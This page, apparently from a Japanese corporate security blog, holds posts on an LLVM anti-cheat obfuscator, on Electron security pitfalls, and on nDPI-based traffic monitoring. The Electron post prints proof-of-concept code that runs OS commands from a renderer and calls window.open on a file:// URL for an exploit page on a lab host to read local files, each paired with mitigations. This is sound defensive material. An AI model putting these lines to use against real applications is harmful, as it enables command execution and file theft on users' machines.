LLVMを用いたチート対策ツールを作っている話

この記事はDeNA Advent Calendar 2018の24記事目です。

こんにちは、セキュリティ部セキュリティ技術グループ ツール開発チームの小竹 泰一(aka tkmru)です。 脆弱性診断業務の傍ら、ツール開発チームでは、パッチ管理ツールやチート対策、脆弱性診断のためのツール開発を行っています。 この記事では開発中のLLVMを用いたチート対策ツールの紹介をしたいと思います。

はじめに

本題に入るまえに、チートをされるとどのような問題があるのか、チートの方法やチート対策技術にはどのようなものがあるのかということを軽く説明しようと思います。

チートによるリスク

スマートフォンのゲームアプリのチートでよくあるものとしては、 「スタミナが減らないようにするもの」や、 「ステータスを不正に上昇させバトルで勝利するもの」、 「不正に課金アイテムを取得するもの」などがあります。

もし、このようなチートが横行してしまうと、適切に利用しているユーザの快適なプレイが阻害されてしまうかもしれません。 また、不正に課金を回避したり、ステータスをアップさせているユーザの存在は他のユーザの納得感を得られないでしょう。 チーターの存在はゲームバランスにも影響し、ゲームからユーザーが離れる一因となります。 ゲームアプリの脆弱性診断では、ゲームに対して実際に攻撃を行うことで、このようなチートからゲームを守ることができるかを確認しています。

チート対策技術とは

上で述べたように、チート対策はゲームの魅力を守るために重要です。 とくに、近年のゲームアプリはUX向上の為クライアント側の計算により多くのゲームロジック(スコア・ダメージの計算、勝敗判定など)を寄せています。 そのため、リバースエンジニアリングを伴う攻撃への耐性を上げることが重要なチート対策となっています。

ゲームアプリに限った話ではなく一般的に言えることですが、リバースエンジニアリングの手法は、アプリケーションを実際に動作させメモリや通信内容を解析する動的解析と、 ディスアセンブラやデコンパイラにかけた結果を解析する静的解析の2つに分類されます。 ARMアセンブリのコードを読む必要のある静的解析は動的解析に比べ、難易度が高いですが、 用いられている暗号方式などの詳細な解析結果を得るには行う必要があります。

ゲームアプリのチート対策では、この2つに対して対策する必要があります。 ここではひとつひとつを詳細に説明することはしませんが、チート対策技術には以下のようなものがあります。

  • 通信の暗号化
  • Root化端末、JailBreak端末の検知
  • VMの検知
  • デバッガ検知
  • メモリ上のデータの暗号化
  • パッキング
  • コード改ざんの検知
  • 難読化
  • ... etc

紹介するLLVMを用いたチート対策ツールでは、コードの処理の流れを追いにくくする難読化と、 パッチを当てられたことを検知するコード改ざん検知を担っています。 コードの改ざんを検知した後にやることとしては、アプリを強制的に終了させることや、ログをサーバーに送信することが考えられます。

LLVMとコンパイラ

LLVMは、コンパイラ開発のためのオープンソースの基盤ソフトウェアです。 主な特徴として、コンパイルに必要な機能がモジュール化され,各機能を統合するドライバで構成されており、拡張性、移植性に優れていることが挙げられます。

コンパイラの設計手法の一つにフロントエンド、optimizer、バックエンドの3つの構成要素に分割して設計するThree-Phase Designがあります。 LLVMを用いてThree-Phase Designを採用してコンパイラを設計すると、 内部構造は以下の画像(The Architecture of Open Source Applications: LLVMより引用)のようになります。

LLVMCompiler1.png

フロントエンドがプログラムのソースコードをLLVM IRという中間表現に変換し、 LLVM optimizerがLLVM IRのコードに対して最適化をかけます。 そして最後にLLVMバックエンドがLLVM IRのコードからターゲットのアーキテクチャのアセンブリコードを生成し、 実行可能ファイルを生成する流れになっています。

コンパイラ開発にLLVMを利用すると、中間表現をLLVM IRに統一することができ、 異なるアーキテクチャ向け、異なる言語向けのコンパイルであっても最適化部分を共通化できます。 しかも、その最適化機構はPassとしてLLVMが提供してくれています。 また、バックエンドを置き換えるだけで異なるアーキテクチャに対応できたり、フロントエンドを置き換えるだけで異なるプログラミング言語に対応できたりもします。 このようにLLVMを利用することで、1からコンパイラを作成するより効率よくコンパイラを作成することができます。

LLVM IR

LLVM IRについてもう少しくわしく見ていきましょう。 LLVM内部で用いられる中間表現であるLLVM IRは、 アセンブリ言語に似た表現で、表現力や拡張性、軽量であることを追求して作られています。 基本的な命令による操作の組み合わせで、 様々な高級言語に対応した簡潔な表現が可能になっています。 また、LLVM IRのレジスタは数に制限が無く、値の代入が一箇所でしか行えないSSA(Static Single Assignment)形式になっており、 これを用いて柔軟に変数を表現することができます。 LLVM IRには様々な種類の型が存在し、レジスタに型が対応しており、 細分化された型は高度な最適化を可能にします。 例えば、32bit整数型を表すi32型や、 128bit浮動小数点数型を表すfp128型などがあります。 これらの基本となる型と組み合わせて、構造体、配列、ベクトルといった 派生型を構成することができます。

実際にLLVM IRのコードを見てみましょう。 以下のような西暦を出力するだけのコードをLLVM IRに変換します。もうそろそろ2019年ですね。

#include <stdio.h>

int main(){
  int year = 2018;
  printf("%d", year+1);
  return 0;
}

clangに-S-emit-llvmの2つのオプションを指定するとLLVM IRコードが出力されます。

$ clang new-year.c -S -emit-llvm
$ cat new-year.ll
; ModuleID = 'new-year.c'
source_filename = "new-year.c"
target datalayout = "e-m:o-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-apple-macosx10.13.0"

@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1

; Function Attrs: noinline nounwind optnone ssp uwtable
define i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca i32, align 4
  store i32 0, i32* %1, align 4
  store i32 2018, i32* %2, align 4
  %3 = load i32, i32* %2, align 4
  %4 = add nsw i32 %3, 1
  %5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str, i32 0, i32 0), i32 %4)
  ret i32 0
}

declare i32 @printf(i8*, ...) #1

attributes #0 = { noinline nounwind optnone ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+fxsr,+mmx,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0, !1}
!llvm.ident = !{!2}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{!"Apple LLVM version 9.1.0 (clang-902.0.39.2)"}

レジスタが%数値で表されているのが特徴的ですね。 アセンブリとは違い、アドレスの概念がないので操作しやすそうなのが分かると思います。

Three-Phase Designについて説明をした際、異なるアーキテクチャに対して最適化部分を共通化できると述べましたが、それ以外にも LLVM IRを用いることで対象のソースや機械語に手を加えることなく、最適化を行うことができるというメリットがあります。

LLVMをなぜ使うのか

LLVM IRを最適化に使うと便利だということを述べましたが、これは難読化やコード改ざん検知機能を実装するのにも同じことが言え、 LLVM IRを用いることで対象のソースや機械語に手を加えることなく、出力されるバイナリに難読化やコード改ざん検知機能を施すことができます。 また、現在スマートフォンで用いられているCPUはARMが主流ですが、異なるアーキテクチャのCPUを用いたスマートフォンが出てきたときの対応も容易になります。 LLVMを使って難読化に行うこと自体は、新しい手法ではなく、OSSの実装としてobfuscator-llvm/obfuscatorが知られています。

Unityで作られたゲームアプリのコードはIL2CPPを利用してC++のコードに変換することができます。 開発中のチート対策ツールでは、 この出力されたC++のコードをLLVM IRに変換し、 難読化やコード改ざん検知をいれ、 最終的にバイナリにするという方式をとっています。

難読化例

プロトタイプのチート対策ツールを使用するとCFG(Control Flow Graph)を以下のように変化させることができます。 CFGはIDA Proを使って生成しました。 これによって処理の流れが追いにくくなります。

難読化前のCFG

before_cfg.png

難読化後のCFG

after_cfg.png

今のところ、まだIDAのGraph viewでCFGを表示することができますが、最終的にはAnti-Disassemblyを施してCFGを表示できないようにする予定です。

おわりに

開発中のチート対策ツールの技術的な背景を紹介しました。 マルウェアがアンチデバッグに使っている手法などを検証しながら、 低レイヤーでの開発ができる、 このツールの開発はとてもおもしろいと思っていて、 商用ツールに負けないようなツールにしていきたいと思っています。 チート対策やLLVMを使ったツール開発の面白さが少しでも伝われば幸いです。

宣伝

DeNA TechCon 2019 を2019年2月6日(水)に開催します! ぜひご登録下さい! セキュリティに関する話もあります!! techcon2019.png

また、弊社についての技術情報は @DeNAxTech より配信しています。ぜひフォローをお願いします!!

続きを読む
ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

Electronのセキュリティは難しい?

このブログは「mobage developers blog」2016.4.28の記事を転載させていただきました。

こんにちは。セキュリティ技術グループのはるぷです。今回はElectronのセキュリティについて調べてみました。

Electronとは、Node.jsとChromiumをベースとしたデスクトップアプリケーションを作成するクロスプラットフォーム実行環境です。HTMLやJavaScriptなどWeb技術によって、プラットフォームの違いを気にせずに手軽にWindows、Mac、Linuxのデスクトップアプリケーションを作成できるという部分が特徴です。

Web技術を利用して開発ができるため、Web技術者にとってはかなり簡単にデスクトップアプリケーションが作れるようになり、今後も様々なアプリケーションがElectronによって開発されていくようになるのではないかと考えています。

electron-security-1.png

electronはHTMLおよびJavaScriptで記述でき、既存のWebベースのサービスと親和性が高く、Electronアプリケーションの内部で外部のコンテンツを読み込むケースも多くあると考えられます。

そこで、今回はElectronアプリケーションで外部のコンテンツを利用する際のセキュリティについて解説したいと思います。

Electronの基本の仕組み

Electronでは、Mainプロセスと呼ばれるプロセスと、Rendererプロセスと呼ばれるプロセスの2種類のプロセスから構成されます。ユーザが直接目にするのはRendererプロセスの部分となり、Rendererプロセスとは通常のデスクトップアプリのWindowをイメージしてもらえればいいと思います。また、Mainプロセスが、BrowserWindowクラスを通じて複数Rendererプロセスを立ち上げ管理する、というような形になっています。

electron-security-2.png

デスクトップアプリケーションなので、ブラウザ(Chromium)としての機能だけでなく、OSの機能等を使える仕組みになっているのですが、Rendererプロセス側ではこの機能が使えるかどうかを制御できるようになっています。

Electronアプリケーションでは、OSの機能を簡単に利用できるという利点がある反面、万が一悪用されてしまうと被害も大きくなってしまうという点に注意して開発することが必要です。

Electronのサンプルアプリ

本記事では、Electron開発時に注意する点を、簡単なElectronアプリケーションを利用して解説していきたいと思います。Electronの tutorial を参考にしながら作成していきます。※簡単のために、一部変更を加えています。

package.json

{
  "name"    : "your-app",
  "version" : "0.1.0",
  "main"    : "main.js"
}

main.js

'use strict';
const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;

var mainWindow = null;
app.on('window-all-closed', function() {
  if (process.platform != 'darwin') {
    app.quit();
  }
});
app.on('ready', function() {
  mainWindow = new BrowserWindow({width: 400, height: 300});
  mainWindow.loadURL('file://' + __dirname + '/index.html');
  mainWindow.webContents.openDevTools();
  mainWindow.on('closed', function() {
    mainWindow = null;
  });
});

main.js

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    Hello World!
  </body>
</html>

これを実行すると以下のようになります。「Hello World!」という文字列と、開発者ツールが表示されています。

electron-security-3.png

電卓の実行とBrowserWindow

では、次にOSの機能を使うサンプルとして電卓を立ち上げる例を紹介します。index.htmlに以下の記述を追加することで簡単にOSコマンドを実行することが可能です。

<script>
var child_process = require('child_process');
child_process.exec('calc.exe',null);
</script>
electron-security-4.png

OSコマンドを実行する機能のほかに、「ファイルを開く」という動作を行う以下のような記述でも電卓を実行することが可能です。※細工をすることで特定の条件下で任意のコマンドを実行することも可能です。


var
shell = require('electron').shell; shell.openItem("c:/windows/system32/calc.exe"); shell.openExternal("c:/windows/system32/calc.exe");

これらの機能をRendererプロセス上(index.html)で利用できるのは、node-integrationというプロパティが有効になっているからなのですが、下記のように明示的に無効にすることで利用できなくすることが可能です。

mainWindow = new BrowserWindow({width: 800, height: 600, "nodeIntegration":false});

※但し、本記事執筆時点(v0.37.7)では、HTML内でwebviewタグが利用可能な場合node-integrationを再有効化させることが可能となる問題が報告されています
(参考:Disable webview when node integration is off, Disable node in webviews when disabled in parent window)。

セキュリティ的な観点で考えた場合に、node-integrationが有効なWindow上に第三者が記述したJavaScriptが混入しうるケースが存在します。その場合、「Electronアプリケーションを実行しているPC上で任意のOSコマンドが実行できる」ということになってしまい危険な状態となります。

完全にローカルのみで動作するようなアプリケーションを作成した場合、このようなことはありませんが、サーバから動的にコンテンツを取得して表示するような仕組みをとっている場合は、悪意のあるスクリプトを混入させられる可能性が出てきます。

electron-security-5.png

その為、node-integrationが有効なWindow上では任意のHTMLを記述できないという状態にする必要があります。具体的には、BrowserWindowには外部コンテンツは直接読み込まず、node-integrationが無効なwebviewを利用する必要があります。


v0.37.4未満では、node-integrationを悪意のあるスクリプトから再有効化することが可能になっていましたが、webview内でのnode-integrationの有効状態は親のWindowを引き継ぐという対応が入っているため、webviewタグを追加できるような場合でない限り、不用意にnode-integrationを有効化されない様に変更されています。
(参考:https://github.com/electron/electron/pull/4897

webviewとwindow.open

node-integrationが無効なwebviewを利用した場合でも、webviewにallowpopups属性を指定している場合は、セキュリティ的に問題のある状態になってしまうことが確認されています。

index.htmlを以下のように変更したとします。

index.html

<!DOCTY\PE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
  </head>
  <body>
    Hello World!
    <script>
        var webview = document.createElement("webview");
        webview.setAttribute("src", "http://www.example.com/");
        webview.setAttribute("allowpopups", "true");
        document.body.appendChild(webview);
    </script>
  </body>
</html>

この時、「http://www.example.com/」上のコンテンツでは、node-integrationが有効になっていないため、前述のようなOSコマンドを実行するようなことはできません。しかし、以下のようにwindow.openによってfileスキームを開くようなコードが入っていた場合、Same-Origin Policyの制約がない状態で任意のファイルを開くことが可能になってしまっています。

window.open("file://192.168.56.101/public/exploit.html", "webview title");

Windowsでは(※)、fileスキームで外部サーバのIPアドレスやホスト名の指定が有効なため、fileスキームで開いた先が悪意のあるスクリプトの入っているHTMLページということが起きえます。

※Macの場合は、fileスキームで外部サーバを指定できないため、smb://などでマウントさせfile://でローカルのファイルとして開くことで同じことが実現できてしまいます。

下記は、192.168.56.101上にSambaサーバを立てて、「file://192.168.56.101/public/exploit.html」でコンテンツへアクセスできるようにし、「file:///C:/Windows/System32/drivers/etc/hosts」を読み込むHTMLを設置した例になります。

electron-security-6.png

通常のブラウザ(Chromiumを含む)であれば、window.openでfileスキームを指定しても開くことができない制約が入っていますが、Electronでは、このwindow.openを override.js によってoverrideしていてブラウザとは異なる挙動をする仕様になっています。この処理を追っていくと、スキームやホスト名等のチェックがないために、上記のようにfileスキームを指定してWindowを開くことが可能になります。この方法で開いたページ上では、任意のファイルや、任意のサイトのコンテンツを読み込むことができる、いわば特権状態で動作する仕様になっているため、ユーザの重要情報を奪取されてしまう可能性が出てきます。

従って、webviewを利用して信頼できないサイトを開いたり、信頼できるがCross-Site Scriptingの可能性が0ではないサイトを開いたりする場合、単純にwebviewにallowpopups属性を付与した形では安全に利用することはできないと考えられます。

そこで、allowpopups属性を付与せず、新しいWindowを開く際のイベントをハンドリングすることでこの事象に対応することを考えます。webviewタグの addEventListener を利用する場合は以下のように記述することになると思います。

addEventListenerのみで対応を試みる例:

//webview.setAttribute("allowpopups", "true"); -> コメントアウト
webview.addEventListener('new-window', function(e) {
    var protocol = require('url').parse(e.url).protocol;
    if(protocol !== 'http:' && protocol !== 'https:') {//プロトコルをチェック
        return;
    }
    window.open(e.url);
});

しかし、この方法だけでは、新しくwindow.openで開いたWindow側では同様のイベント制御を入れることができないため、新しく開いたWindowで任意のURLが開けるという問題が再度発生してしまいます。

上記の脆弱な挙動に対応しようとした場合、Rendererプロセス側ではなく、Mainプロセス側でも対処する必要があります。新しいWindowを開く場合、Rendererプロセスが直接新しいWindowを生成するのではなく、MainプロセスとIPCによって通信を行い、Mainプロセスが新しいWindowを開くようになっています。

electron-security-7.png

以下のように、Mainプロセス側で'browser-window-created'イベントを利用して、プロトコルがhttpまたはhttpsではない場合に処理を停止する、といった制御を書くことが可能です。

対応例(main.js):

app.on('browser-window-created', function (event, window) {
  window.webContents.on('new-window', function(event, url, frameName, disposition, options) {
    var protocol = require('url').parse(url).protocol;
    if(protocol !== 'http:' && protocol !== 'https:') {//プロトコルをチェック
      event.defaultPrevented = true;
      console.log("Invalid URL:"+url);
    }
  });
})

本気時執筆時点では、上記のようにすることで対応は可能で、不用意にfileスキームで想定外のコンテンツを開かれることを抑制可能ですが、Electron側で根本的な対応が行われることが期待されます(参考:issues#5151)。

Override.jsによる別の影響

前述のwindow.openの挙動は、override.jsによって引き起こされている事象なのですが、この独自の仕組みの部分で別のセキュリティの問題も起きています。override.js内、または、その先のElectronのコード内でエラーがThrowされると、エラーメッセージ内やスタックトレース内にエラー発生箇所が以下のような形で出力されます。

Could not call remote function ''. Check that the function signature is correct. Underlying error: Title must be a string 
Error: Could not call remote function ''. Check that the function signature is correct. Underlying error: Title must be a string
 at callFunction (C:\Users\harupu\AppData\Local\blog_sample\resources\electron.asar\browser\rpc-server.js:237:11)
  (以降略)

一見普通のエラーメッセージですが、このエラーメッセージがwebviewで読み込んだ外部サーバ上で取得ができるということになると意味合いがかなり違ってきます。

エラーメッセージの内容をよく見ると、以下の部分にPCのローカルPathが含まれています。

(C:\Users\harupu\AppData\Local\blog_sample\resources\electron.asar\browser\rpc-server.js:237:11)

例えば上記のようにWindowsでUserHome(%HOMEPATH%)配下にインストールされることが想定されている場合、アカウント名がPath内に含まれてしまうことになります。ここに個人情報が含まれることは大いにあるため、外部のサーバから取得できてはよくない情報となります。(参考:issues#5148

実際にエラーを発生させてアカウント名を取得した例を以下に示します。

electron-security-8.png

この問題にアプリケーションを開発している側で対応するのは結構大変で、override.js自体でエラーハンドリングを行うように変更することが必要になります。

変更例(複数個所必要です):

window.open = function (url, frameName, features) {
 try{ //追加部分
  var feature, guestId, i, j, len, len1, name, options, ref1, ref2, value
 :(中略)
  if (guestId) {
    return BrowserWindowProxy.getOrCreate(guestId)
  } else {
    return null
  }
 }catch(e) { //追加部分
  console.log(e.message);
 }
}

こちらも、Electron側で根本的な対応が行われることが期待されます。

まとめ

Electronはとても有用な技術ではありますが、強力な機能が利用できるため、セキュリティ情報にも十分注意する必要があります。セキュリティに関しては、まだ発展途上にある技術であり今後もクリティカルなセキュリティの問題が発見される可能性があるかもしれません。Electronを利用して安全にデスクトップアプリケーションを開発・運用するためにも、今後のセキュリティ情報について追従し適切にアップデートを行える体制で望みましょう!

続きを読む
ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

セキュリティ分野におけるDPIの活用事例

このブログは「mobage developers blog」2016.4.1の記事を転載させていただきました。

security-dpi-image1.png

こんにちは。セキュリティ技術グループの@knqyf263です。

早いもので、新卒として入社してからもうすぐ一年が経とうとしています。

今回の記事はネットワークトラフィックからアプリケーションの種類を判定して社内通信の監視などに役立てよう!というものになります。 アプリケーション層の解析(L7解析)は一般的な話なので、セキュリティ関係者じゃなくても役に立つかと思います。

例えば、以下の画像の様な情報を取得できるようになります。

security-dpi-image2.png

※本記事で利用する画像では、時刻や ipアドレス等をダミーのものに変更してあります。

セキュリティ技術グループの紹介

本題に入る前に簡単にセキュリティ技術グループについて紹介します(読み飛ばしてもOKです)。

自分は去年まで学生だったのですが、各社が何をやっているか知るのは難しいなと感じたので、少しでも役に立てば良いなと思って書くことにしました。

セキュリティ技術グループでは大きく分けて2つの業務を行っています。

1つ目は、脆弱性診断です。リリースされる前のWebサービスやスマートフォンアプリなどを診断し、脆弱性が見つかった場合は報告して修正してもらいます。他にも、サーバやネットワーク機器の脆弱性の確認も行っています。自動診断ツールも使いますが、見つからない脆弱性も多いので基本的には手動で実施します。手動診断に便利なプロキシツールなども内製しています。

2つ目は、社内セキュリティの強化です。IPA から報告書が出ていましたが、最近では内部不正によるインシデントが増えています。意図的ではなくても年金機構の流出事件のようにマルウェアの感染による情報流出の可能性もあります。標的型攻撃は手口が巧妙なため、社内に既にマルウェアが侵入しているぐらいの考えで対策をする必要があるかと思います。そのため、セキュリティ部では組織内部からの情報流出を防ぐために様々な取り組みを行っています。

今回はその中でも、ログ監視について紹介させていただきます。

ログ監視

最近では ElasticSearch + Fluentd + Kibana という構成でログを監視している企業が多いかと思いますが、セキュリティ技術グループでも同じ構成でログを収集しています。

他にも便利なツールなどを色々検証しており、今回はその中で nDPI について後ほど紹介します。

ログの種類は様々で、一部を挙げると以下の様なものがあります。

・Active Directory
・ファイルサーバ
・本番サーバへの踏み台サーバ
・Github Enterprise
・NetFlow
・Firewall, DNS, DHCP, VPN, etc...

他にも、会社独自のアプリケーションのログなどを収集して監視を行っています。

では実際に上記のうち、NetFlow を利用した社内通信のポート・ホストスキャン監視の一例を紹介します。

まず、社内の執務室におけるコアスイッチでミラーリングして NetFlow を取得します。
これらの NetFlow を fluentd に渡したあと、Norikra で集計します。
以下の SQL は Norikra で宛先ポートを集計する例です(実際は会社の環境用にカスタマイズされています)。

SELECT
    ipv4_src_addr,
    COUNT(distinct l4_dst_port) AS uniq_dport
  FROM ext.win:time_batch(1 min)
  WHERE ipv4_src_addr LIKE '192.0.2.%'
  GROUP BY ipv4_src_addr
  HAVING COUNT (distinct l4_dst_port)

ソースIPアドレスごとに集計しているので、各社員のPCが1分間で通信した宛先ポート番号のユニーク数が計算されるようになっています。
そしてこれらの値が閾値を超えると Slack やメールで通知されるようになっています。

security-dpi-image3.png

1分で241個のユニークなポート番号と通信するのは通常の用途ではなかなか考えにくいため、検知された IPアドレスについて Kibana のグラフを見てみます。

security-dpi-image4.png

横軸が時間で縦軸が通信したポートのユニーク数です。
09:00~09:30の間に急激にポート数が増加していることが分かります。

では09:00~09:30に絞って実際に NetFlow のデータを見てみます。

security-dpi-image5.png

確かに様々な IPアドレス・ポート番号と短期間に大量に通信をしているようです。
不審な通信であることまでは分かるのですが、ここから先の調査は難しいです。

なぜなら NetFlow ではヘッダなどの情報のみなので、実際にどのようなアプリケーションによる通信か分からないためです。
全パケットのペイロードも保存しておけば後で解析可能ですが、通信量が多い環境では現実的ではありません。
今までは、DNS のログなどと突き合わせたり、リアルタイムにパケットキャプチャしたりして何とか推測していました。
しかし頑張って調査した結果、「Skype なので問題ありませんでした。」ということも少なくありません。

また、社内から社外に対して VPN を張っていたり、SSH したりするのは好ましくないため(社外から社内へ到達できてしまう可能性がある)、なるべく検知したいと考えています。
これらに関しても上記同様、ヘッダ情報のみでは正確な検知は難しいです。
例えば22番ポートなら SSH、といったルールを書いておいても10022番ポートに変えて SSH されたら検知できません。
他にも、社内禁止ソフトの利用や踏み台サーバを経由しない DB への接続など、検知したい項目は多数ありますが、パケットのヘッダ情報からでは検知が難しいです。

DPI の導入検討

そこで、DPI(Deep Packet Inspection) 機器の利用を検討しました。
DPI ではIPパケットのデータ部分(ペイロード)の情報を検査し、アプリケーションの判別などが可能になっています。
次世代ファイアウォールと呼ばれる WAF などは DPI 機能を有しており、ペイロードに応じてフィルタ処理を決めることが可能です。

参考:DPIとは

ですが、DPI 機器はかなり高価なものが多いです。 どの程度有用なものかも不明なため、きちんとテストして導入となるとかなりの工数がかかることが予想されます。 また、近年では1つのログからインシデントを特定するのは困難なため、相関分析や横断分析など複数のログを組み合わせて検知するという試みが行われるようになっています。 セキュリティ技術グループでも複数のログを横断的に分析することでインシデント特定に役立てています。 他のログと同様に Elasticsearch に入れることを考えると、単に DPI 機器を購入すれば解決するわけでもなさそうです。

nDPI とは

もう少し気軽に DPI のセキュリティ分野における有用性を確かめたかったので、以前個人的に利用したことのあった nDPI を試してみることにしました。

ということで前置きが長くなりましたが、今回は nDPI の紹介となります。

nDPI はLGPLv3ライセンスで提供されている、オープンソース のDPI用ライブラリになります。

アプリケーション層の解析をしてくれるのですが、nDPI のWebページを見ると非常に多くのプロトコルに対応していることが分かります。
nDPI を用いることでアプリケーションが判別できれば、アラート調査の際にとても役立ちそうです。
nDPI の特徴としては、アプリケーションの判定がポート番号に依存しない点が挙げられます。
上記で述べたようにSSHは22番ポート、のようなルールで判定しているとポート番号が変わった際に正しく判定できなくなってしまいます。
しかし nDPI ではペイロードを見て判定するため、ポート番号が変わっても(10022番とか)正しく判定することができます。

nProbe が便利

nDPI を利用した製品に nProbe というソフトウェアがあります。
nProbe は NetFlow のプローブとして動作可能なため、NetFlow と同時にアプリケーション層の情報を収集できます。
また、Gbit のトラフィックでも問題なく解析できたり、Splunk にエクスポートする機能があったり、多数の機能を備えているそうです。

nProbe はライセンスの購入が必要ですが、デモ版があり25000フローまでは試しに収集することが可能です。
詳細:http://www.ntop.org/wp-content/uploads/2013/03/nProbe_UserGuide.pdf

インストールも簡単で、ntop のリポジトリを追加して yum でインストールするだけです。
参考:http://packages.ntop.org/centos/

Elasticsearch へエクスポートするプラグインがあったので、そちらを試してみました。
localhost に Elasticsearch がある想定で以下のようなコマンドを打ちます。
エクスポートするカラムは自由に指定できます。

$ sudo nprobe --json-labels --elastic "nprobe;nprobe;http://127.0.0.1:9200/_bulk" -i eth0 -T "%IPV4_SRC_ADDR %L4_SRC_PORT %IPV4_DST_ADDR %L4_DST_PORT %PROTOCOL %IN_BYTES %OUT_BYTES %FIRST_SWITCHED %LAST_SWITCHED %HTTSITE %HTTP_RET_CODE %IN_PKTS %OUT_PKTS %IP_PROTOCOL_VERSION %APPLICATION_ID %L7_PROTO_NAME %ICMP_TYPE"

Kibana で見てみると以下のようにL7_PROTO_NAMEやHTTP_SITEなどが追加されていることが確認できました!

security-dpi-image6.png

アラート対応の際にどのようなプロトコルか(上記だと HTTP)分かれば調査の時間が短縮できます。 一度 Elasticsearch に入れてしまえば集計して可視化したり統計を取ったりできるので、セキュリティ以外でも活用できると思います。 ネットワーク関係者など、社内ネットワークを流れるトラフィックのアプリケーションの統計が知りたい!と思っている方がいましたら nProbe の導入を検討してみると良いかと思います。

ndff の紹介

上記で nProbe の有用性について紹介してきましたが、セキュリティ技術グループでは nProbe はまだ利用していません。
理由としてはいくつかあるのですが、nProbe ほど多機能が必要ではなかったという点と、簡単に検証してから導入したかったという点などが挙げられます(デモ版の25000フローでは判断が難しかった)。

社内通信の監視においては、HTTP のステータスコードなどは不要で、アプリケーションの判定さえできればとりあえずは十分に思えました。
今後他に欲しい機能があれば nProbe を購入してプラグインを利用するかもしれませんが、まずはアプリケーション判定が有用か試したい、と考えました。

少機能であれば nDPI のライブラリを使って自分で作成できそうだったので、ndff というソフトウェアを作ってみました。
ndff は nDPI の有用性を確かめるために作ったもので、現在社内でテスト運用しています。
自分が1人で作ったものなので一切動作保証は出来ないですが、一応リポジトリは以下になります。
https://github.com/knqyf263/ndff

簡単に説明すると、pcap やインタフェースからパケットを取得してアプリケーションを nDPI で判定し、NetFlow 風にフローをまとめて fluentd に JSON か MessagePack で送るものになります。
nDPI が提供しているサンプルが良く出来ていたのでそれらをベースに、softflowd の NetFlow の実装を参考にして作りました。

社内通信は1Gbps程度ですが、以下のスペックのサーバ1台で問題なく動作しています。
OS:CentOS 6.7
CPU:Intel(R) Xeon(R) CPU E5540 @ 2.53GHz
メモリ:8G
HDD:265GB

READMEに書いてありますが、簡単にインストール方法を説明します。
RPM を提供しているのでRedhat系のサーバなら簡単にインストールできると思います。

#必要なライブラリのインストール
$ sudo yum -y install libpcap msgpack json-c
#nDPIのインストール
$ sudo rpm -ivh https://forensics.cert.org/centos/cert/6.5/x86_64/nDPI-1.7.1-1.el6.x86_64.rpm
#ndffのインストール
$ sudo rpm -ivh https://github.com/knqyf263/ndff/releases/download/0.0.2/ndff-0.0.2-1.x86_64.rpm

パケットのミラーリングを受けているサーバなどで上記の様にインストールしてください。
ソースからビルドする場合は README を見てください。
オプションはいくつかあるのですが、基本的にキャプチャしたいインタフェース、送りたい fluentd のサーバのIPアドレス・ポート、あとはデータの形式(JSON か MessagePack)だけ指定しておけば良いです。
設定ファイルに書いて init スクリプトで起動すれば終了です。

$ sudo vim /etc/sysconfig/ndff
# Config file for ndff startup
# Options passed to the ndff program
OPTIONS="-i eth1,eth2 -s fluentd.server.local -p 24224 -t ndff.flow -m msgpack -q"

上記は eth1 と eth2 のインタフェースからパケットを取得し、fluentd.server.local に MessagePack形式でログを送信する例です。
ポート番号は24224番を指定し、fluentd のタグとしては ndff.flow を指定しています。

fluentd サーバ側では forward プラグインで待ち受けておけばよいです。
以下の例では受け取ったログを Elasticsearch に入れています。

<source>
  type forward
  port 24225
</source>
<match ndff.flow>
  type elasticsearch
  logstash_format true
  hosts localhost:9200
  type_name ndpi-log
</match>

では ndff を起動してみましょう。

$ sudo /etc/rc.d/init.d/ndffd start
Starting ndff:          [  OK  ]


$ sudo less /var/log/messages
...
Mar 16 17:56:46 capture-server ndff: [INFO] Capturing live traffic from device eth1...
Mar 16 17:56:46 capture-server ndff: [INFO] Capturing live traffic from device eth2...
Mar 16 17:56:46 capture-server ndff: [INFO] Running thread 1...
Mar 16 17:56:46 capture-server ndff: [INFO] Running thread 0...

上記のような syslog が出ていれば問題ないです。
正しくログが収集できていれば最初の画像のような情報が取得できているかと思います。
では実際にこれらの情報を用いてアラートについて調査をする場合を考えてみましょう。

アラート調査への活用

先程の不審な通信について調査することにします。
紹介する事例は実際にアラートが上がって調査した際の記録となります。
Kibana で表示すると以下の画像のように表示されました。

security-dpi-image7.png

protocol_name を見ると BitTorrent となっています。
社内での P2P ソフトの利用は禁止されているので、より詳細な調査が必要ということが分かります。

nDPI-1.7.1-1.el6.x86_64.rpm でインストールした nDPI では bittorret_hash は取れませんが、最新版では取れるようになっています。そのため、ソースコードからビルドしたものを使えば上記の画像のようにハッシュが取れます。
